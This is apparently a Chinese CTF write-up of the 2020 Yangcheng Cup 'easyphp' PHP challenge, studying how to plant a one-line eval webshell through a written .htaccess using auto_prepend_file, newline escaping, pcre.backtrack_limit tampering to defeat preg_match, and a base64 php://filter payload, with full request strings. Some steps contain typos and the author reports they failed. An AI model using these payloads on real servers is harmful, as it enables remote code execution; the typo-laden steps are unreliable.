目录:

  • 一. 自己做:
  • 二、学到的。不足:
  • 三、
    • 1. 利用.htaccess来设置文件自动包含
    • 2. 绕过 \n 的过滤
    • 3. 绕过stristr的过滤。
    • 4. 绕过preg_match
    • 2.思路二:
    • 注意用python写入时的注意点:

好像 原题的话,是由声明的,所以我的本地才不行。
本题环境只对index.php文件进行解析。并且开头和末尾都对当前目录下的文件进行检查,删除(unlink)除了index.php外的所有文件

删除文件,之后写入htaccess文件,那么只能够index.php作为木马文件,
那么我传入一个htaccess,让这个index包含htaccess,有一句话木马,但是再一次用index使用木马的时候,就会把htaccess删除了啊,就没有木马了。

一. 自己做:

源码:

 <?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world");
?>

不懂,为什么直接写入马的话,不给解析程PHP,而是直接输出,我在本地上添加链接描述都是好的。

二、学到的。不足:

用的是 写入 .htaccess。然后自己包含一句话马,

  1. 学到了正则的[^a-z\.]。看上面有解释,
  2. 到现在也不明白,为什么要写入两次.htaccess。不知道,2020 羊城杯复现 。权当作是重新温习了一遍 .htaccess了把。,好像知道了。我们只能够访问一次index.php。因为访问第二次的时候,就会把.htaccess给删除了。那么我们就要写入另一个PHP文件,然后写入.htaccess文件,但是需要写入两次,下一次的 时候会把上一次的给删除了。
  3. 主要是思路:我们直接prepend_file是不行的,会过滤我们的file,那么思路就来了,要么绕过这个过滤。可用'fl'.'ag'的方法来绕过,
  4. 思路二:因为是file_put_content,然后我们可以用php://filter/convert.base64-decode/resource=.htaccess&content=***这个过滤器,写入base64字符串,这样就不会被检测到其他字符了。然后写入的时候再进行base64解码操作,

三、

1. 利用.htaccess来设置文件自动包含

#format
php_value setting_name setting_value
#example
php_value auto_append_file .htaccess

可以使用auto_prepend_fileauto_append_file来进行包含,这样每个页面都会require所指定的PHP文件,

auto_prepend_file # 在页面的顶部加载文件
auto_append_file # 在页面的底部加载问题

注意:auto_prepend_file 与 auto_append_file 只能require一个php文件,但这个php文件内可以require多个其他的php文件。。。

2. 绕过 \n 的过滤

题目会在写入文件的后面添加\nHello, world,我们构造payload时,结尾要用\ 处理content中的\n ,不然违背.htaccess 书写格式会导致Apache 运行崩溃

比如,我们需要写入:

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>\

如果末尾不加\来转义\n,文件内容就会变为

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
Hello, world

会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,然后全部500.

3. 绕过stristr的过滤。

过滤了关键字,可以用 base64,filter过滤器进行绕过。

4. 绕过preg_match

if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}

preg_match的返回值:

returns 1;      // 如果匹配到.
returns 0;      // 如果未匹配到.
returns FALSE;  // 发生错误时.

正则中写的是 if(preg_match("/[^a-z\.]/", $filename) == 1),而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)。这样我们可以用其他的情况来进行绕过,比如,使它发生错误,。

文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。

在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。

。。。
那么可以设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。。

那我我们就在.htaccess中修改配置,

php_value prce.backtrack_limit 0
php_value prce.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_POST(cmd)); ?>\

因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。

php_value pcre.backtrack_limit 0
php_value prec.jit 0
#\

也就是

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess

然后写入一句话,,这里用 base64加密,因为不让我们出现数字和空格,,所以就不行了。

我这样第二次传入马儿的时候,是不能用post传参的,因为访问网页一次以后就删除了htaccess,所以只能够访问一次,所以还是要用get方法传参的,

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();

说一说,为什么不直接写入这个上面的这个自动包含的东西,呃,,,因为写不进去,要有prepend_file,有file关键词,而题目会检测我们传入的content参数,所以直接写入是不行的,

那不行啊,我们就是要写入这么一段代码进去。
这个时候,就要想到php的伪协议了。我们传入的时候是一种编码,然后用过滤器解码之后写入,然后就行了。那么什么时候用php://filter/write=convert.base64-decode/resource=.htaccess。这样用过滤器来操作,
那么这样的话文件名filename就会收到限制了。
下面这个是限制条件:反斜杠和冒号肯定是不行了啊。

那么就要绕过这个preg_match,正好就要那个.htaccess来设置:
所以我们第一次传入:
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
然后再用哪个PHP的过滤器传入我们的那一部分,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
吐了,,我没成功,思路是正确的 啊,

2.思路二:

不是我们像要传入哪个prepend_file么,然后过滤了file,那么我们就在传入的时候,用\把file给分隔开就好了。

我在本地打可以,远程环境就不行,,,吐了。。

注意用python写入时的注意点:

反斜杠连接符要进行注释,#在python中是注释符,然后用\#这样也不行,就只能用url编码了

[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过相关推荐

  1. [羊城杯2020]easyphp

    知识点: 1. .htaccess的利用 .htaccess利用方式 .htaccess相关问题 2.php://filter的利用 关于php://filter在file_put_contents中 ...

  2. [羊城杯 2020]GMC

    [羊城杯 2020]GMC 题目 from Crypto.Util.number import getPrime,bytes_to_long,getRandomNBitInteger from sec ...

  3. [羊城杯 2020]Power

    [羊城杯 2020]Power 题目 from Crypto.Util.number import * import gmpy2 from secret import flagp = getPrime ...

  4. [羊城杯 2020]RRRRRRRSA

    [羊城杯 2020]RRRRRRRSA 题目 import hashlib import sympy from Crypto.Util.number import *flag = 'GWHT{**** ...

  5. [羊城杯 2020]Bytecode [UTCTF2020]babymips

    文章目录 [羊城杯 2020]Bytecode 查看题目 python代码 注意点: BINARY_SUBTRACT 这个是减法 BINARY_SUBSCR 这个是索引 Z3约束脚本 注意点: 注意最 ...

  6. [羊城杯 2020]login [SUCTF2019]hardcpp

    文章目录 [羊城杯 2020]login 思路:一个py编译的exe,需要解包,然后反编译成py文件 1.解包:python pyinstxtractor.py login.exe 提示:pyinst ...

  7. [羊城杯 2020]逃离东南亚

    [羊城杯 2020]逃离东南亚 考点 复现过程 参考链接 考点 1.图片高度隐写 2.silenteye 3.空格与tab隐写 4.需要编程找到隐写内容并进行解码 复现过程 解压压缩包有三个压缩包文件 ...

  8. [羊城杯 2020] Web

    easycon 打开就是 扫出来个index.php 然后访问 提示eval post cmd,看来是post了个cmd可以执行命令 找到bbbbbbbbb.txt文件,用base64解码得到包含fl ...

  9. “华为云杯”2020深圳开放数据应用创新大赛线上推介会成功举办,让深圳大数据在全球“跑”起来...

    4月30日下午,"华为云杯"2020深圳开放数据应用创新大赛第三场线上推介会完美落幕.至此,从4月23日开始的三场云端推介会全部结束,全球各数字平台总观看量1000多万人次.深圳市 ...

最新文章

  1. csapp 、sicp 、深入理解计算机系统、 计算机程序的构造和解释
  2. weblogic不用密码启动服务
  3. linux c/c++ 判断是否为中文(不包括中文符号,非正则)
  4. CC2530中常用的控制寄存器
  5. 只要200行JavaScript代码,就能把特斯拉汽车带到您身边
  6. 【渝粤题库】国家开放大学2021春2503学前儿童健康教育题目
  7. 计算机使用技巧爆文,自媒体干货篇:利用这个小技巧可以五分钟之内写好一篇爆文!...
  8. bagging和时间序列预测_时间序列多步预测的五种策略
  9. 华为云“创原会”:40+技术精英论道云原生2.0
  10. python 原理 pdf_《深入浅出深度学习:原理剖析与Python实践》.pdf
  11. 【SpringBoot系列】最详细demo--集成JWT实现接口权限认证
  12. 水清冷冷:Photoshop CC 2020/PSCC 2020安装教程及学习技巧(附工具)
  13. LocalDate 获取英文星期
  14. 【论文笔记】气道树分割:A 3D UNet-Graph Neural Network for Airway Segmentation
  15. html禁止双击选中文本,CSS阻止页面双击选中文本
  16. 别了,IE浏览器?微软正式宣布
  17. C语言趣味一百道 第25题 2017_12_24
  18. 给HTML页面设置背景音乐
  19. 如何提升自己的运气?提升运气财运的方法
  20. 【大学物理学】静电场

热门文章

  1. 对计算机的认识英语作文,介绍关于电脑的英语作文
  2. TJS2中对象的表示方法,其代表的运行时环境,与闭包的关系
  3. 听说你们的数据库并发 2 万就跪了?
  4. 怎样把计算机放到桌面上,如何将我的电脑图标放在桌面上 - 卡饭网
  5. 基于用户行为分析的推荐算法
  6. python 矩阵拼接_python矩阵拼接
  7. Win7/8.1/10去掉桌面快捷方式、小箭头
  8. Python基础篇:函数的深入简出
  9. 毕业生又开始找工作了
  10. mysql连接字符串db2_ADO.NET入门教程(三) 连接字符串,你小觑了吗?